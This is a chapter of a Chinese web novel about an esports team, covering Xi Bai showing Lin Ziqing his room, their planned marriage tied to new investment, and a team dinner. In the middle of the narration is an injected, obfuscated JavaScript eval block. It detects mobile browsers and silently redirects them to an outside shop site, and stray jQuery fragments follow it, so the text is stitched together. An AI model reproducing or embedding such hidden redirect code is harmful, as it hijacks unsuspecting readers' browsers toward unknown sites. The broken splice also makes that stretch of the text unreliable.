然而并没有人在意袁云飞的想法,席柏看向林自青,“那我带林总上楼看看房间?”
林自青还想问他跟席先明怎么谈的,就点头答应了。
席柏的房间在三楼,其实就是原来的主卧,所以面积最大、配套也最齐全,除了单独的卫浴之外,还带了一个大露台。后来别墅被当作战队基地,重新装修过,露台也被改成了小书房加阳台。
关起门来就是一个小套间。
两人走到门口,席柏忽然站住不动了。
林自青等了一会儿,见他一副要面门思过的样子,就问,“怎么了?”
“嗯……”席柏一手握住门把手,侧身看向林自青,有些窘迫地道,“房间里可能会有点乱。”
之前光想着两人有独处的空间,这会儿他才好后知后觉地意识到,这可能会影响自己在林自青眼中的形象。毕竟林自青无论什么时候都收拾得干净清爽、一丝不苟,看起来就像有洁癖。
“私人空间当然是舒适方便最重要。”林自青道。
这话比“没关系”更能安慰人,席柏这才鼓起勇气,推开了门。
其实并没有他说的那么乱,别墅里有保洁阿姨打扫,脏衣服也会每天收去清洗、再折叠好送回来。只是席柏的私人物品太多,也没有刻意整理,显得房间有些拥挤,但也不会让人觉得脏乱,反而很有生活气息。
非要说的话,反而是那张位于房间中央的大床,存在感强烈得令人不自在。
林自青打量着房间里的陈设,没有说话。
席柏莫名紧张起来,开始琢磨着现在打补丁说一起住意思其实只是在书房里加一张床,林自青会不会相信。
不过没等他开口,林自青已经走到了小书房门口,一边问道,“席总说,我们的婚期定在下个月。”
席柏没想到他会说这个,微微愣怔,而后结结巴巴地道,“啊,对,是。”
林自青忍不住低头笑了一下。
席柏干咳了两声,“他说等我们结婚了,才放心打钱。”
林自青便问,“具体能投入多少资金,你们谈好了吗?”
说到正事,席柏自在了一些,点头道,“他答应了再追加五千万。”
林自青暗暗啧舌。
他猜到这事对席柏不会太难,但也没想到直接加了一半。
即便是对席先明来说,这也不是一笔小数目。
这让林自青更加好奇他们是怎么谈的,但也更不方便问了。他当时只跟席先明谈投资,却绝口不提具体的投入,就是因为金钱是一个比较敏感的话题,还是留给席柏开口更合适。
不过既然结果是好的,也确实没必要深究,所以林自青只道,“这样一来,挑选队员的时候也可以宽裕一些了。”
正好转身时看到书房门边贴了一张日程表,他便顺势转移了话题,“这就是周教练给你量身定制的训练计划吗?看起来强度不小。”
从早到晚,一整天的时间基本都排满了。
席柏走到他身边,也看着训练表道,“周教练说,留给我们的时间不多了,想要将那些基础操作都变成肌肉记忆,只有这样高强度的训练才能做到。”
“辛苦了。”林自青道。
席柏笑了笑,“还好,能坚持。”
他说得很随意,好像这并不是多困难的事。但这并不是他不知疾苦、盲目自信,而是在评估之后,确信自己真的可以做到。
林自青转头看向席柏。
他脸上的神情放松的,唇角弯起,勾勒出一抹淡淡的笑意。
大概因为是自己定下的目标,所以在朝着它前进的道路上,无论遇到什么样的困难,都不以为苦。
林自青做不成这样纯粹的人,但他永远欣赏这样的人。
小书房的门开着,天气很好,明亮的日光从外面照进来。
林自青自己站在了靠墙的这一边,完全避开了阳光,但席柏却整个人都站在光里。
线条优越、轮廓分明的面孔被那光点亮,有一种令人目眩的俊美。特意梳理过的头发,更是在日光下显出了一种近乎通透的质感,发根处的细小绒毛清晰可见,看起来蓬松、柔软,让人很想伸手碰一碰。
林自青回过神来的时候,已经伸出了手。
不过他马上就反应过来,席柏比自己高了十几公分,摸他的头不是很合适。
正当他准备收回手时,席柏却忽然转过身来,朝他低下了头。
林自青一怔,停顿片刻才将自己的手掌覆了上去。
和想象中一样的蓬松、柔软,但又多了几分被太阳晒过的干燥与温暖,以至于林自青收回手很久之后,手心里依旧残留着那种令人舒适的触感和温度。
……
有了林自青和周教练的加入,短短几天内整个战队的面貌就焕然一新,虽然距离完全成型、可以征战职业联赛还有很长一段路要走,但袁云飞还是提议,晚上一起聚个餐。
既是庆祝,也是给两人接风。
席柏一听,当即表示今天可以稍微奢侈一点,去吃“松风宴”。
袁云飞都吓了一跳,“嚯,你发财了?”
松风宴是本市著名的私房菜馆,人均消费几千,席柏也就是刚成立战队那段时间这么豪横过,后来意识到花钱速度太快,就再也没有请过了。
席柏闻言笑了笑,“算是吧,反正资金的事你们不用担心。”
五个人分坐两辆车,出门吃饭。
因为松风宴附近不好停车,所以他们将车停在了一处商场的地下车库,然后步行过去。
席柏和林自青很自然地走到了一起,剩下三个人则是隔了一段距离缀在后面。
周教练看着前面并肩而行的两人,忍不住戳了戳袁经理,问道,“我们战队到底是什么情况,看起来资金都是席柏提供的?”
虽然才到基地一天,但他看得出来,林自青那个“席柏是战队核心”的说法并不夸张。
那林自青的一个亿又是怎么回事?
袁云飞琢磨了一下,虽然现在大家相处得不错,但是席柏那个狗脾气,也不知道什么时候就会炸,先说明白了,周教练跟他相处的时候也会比较有分寸,便点头道,“是啊,我们席柏也算是个大少爷,拿不到冠军就要回去继承亿万家业的那种。”
“那林总又是怎么回事?”周教练问。
袁云飞就简单说了一下战队难以为继,席柏回家求助的事,简单来说,林自青是席柏家里派来管账和看着他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779219|210072||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
周教练又往前看了一眼。
原来不是他想的霸道总裁为爱豪掷千金的剧本,但是这样一来,席柏对待林自青的态度就更耐人寻味了。
毕竟按照常理,林自青这种角色应该是不讨喜的,但事实显然不是这么回事。
席柏给他的信任和亲近,显然超过了普通同事。
不过他也没必要深究两人之间的关系,只要知道林自青说话管用就行了。
吃完饭回到基地,周教练就一头扎进办公室,根据自己的印象,搜索起网络上的各种选手操作视频集锦,挨个查看并记录。
按照席柏的说法,购买战队的资金是不用操心了,那他接下来最重要的工作,除了训练席柏和周笠,就是赶紧找到合适的上单、中单和打野,将这支队伍配齐,争取在下个赛季开始之前磨合好,有几套能够拿得出手的战术和阵容。
电子竞技,终究还是需要用实力说话的。
不说打出多么惊艳的成绩,至少要先保证队伍能够留在职业联赛,否则别的都是空谈。
直到袁云飞来敲门,周教练才从头脑风暴中抽离出来,揉了揉有些酸痛的眼睛,站起来一边活动身体一边问,“什么事?”
“我在统计要采购的日用品,问问周哥你有没有什么需要的。”袁云飞说。
这是应有的待遇,周教练也没客气,报了几样。
袁云飞一一记下,见他两块屏幕上同时开了五六个视频,连忙道,“那你忙,我去问问他们。”
席柏和周笠都在训练室,袁云飞直接过去。
一进门,就见席柏正在看教学视频,一只手握着鼠标,另一只手却是放在自己头顶,摸一下,再摸一下,像是在进行什么神秘的仪式。
如果只是这样也没什么,毕竟很多人在专注的时候都无意识地做一些小动作,但他脸上一直挂着迷之微笑,眼睛说是看着屏幕,但其实已经不知走神到几万里之外,一看就不正常。
袁云飞轻手轻脚地走过去,戳了戳周笠,压低声音问,“他这种症状多久了?”
“吃完饭回来就这样了。”周笠也小声回答。
袁云飞纳闷,“今晚也没喝酒啊?”
“说什么呢?”席柏又没聋,立刻放下手,有些不高兴地转头看了过来。
袁云飞顾左右而言他,“那个……我来统计接下来要采购的日用品,你们有什么要买的?”
周笠点了一堆零食。
从早到晚都要坐在电脑面前,完成各种枯燥的训练,非常需要零食来抚慰疲惫的身体和心灵。
席柏自己倒是没什么要买的,正要摆手让袁云飞退下,忽然想到什么,又把人叫住,“对了,给我那个小书房里添一张床。”
袁云飞秒懂。
说是跟林总住一个房间,但总不能睡一张床,再添一张床还是很有必要的。
这倒是提醒他了,新员工很快就会陆续到来,那其他人的房间里也得加一张床,总不能等人来了,才发现没地方睡吧?
袁云飞嘀嘀咕咕地离开了训练室。
被打断了,席柏也就不再折磨自己的头发。
他自己怎么摸都不是那个感觉,还是等下次再找机会让林自青试试吧。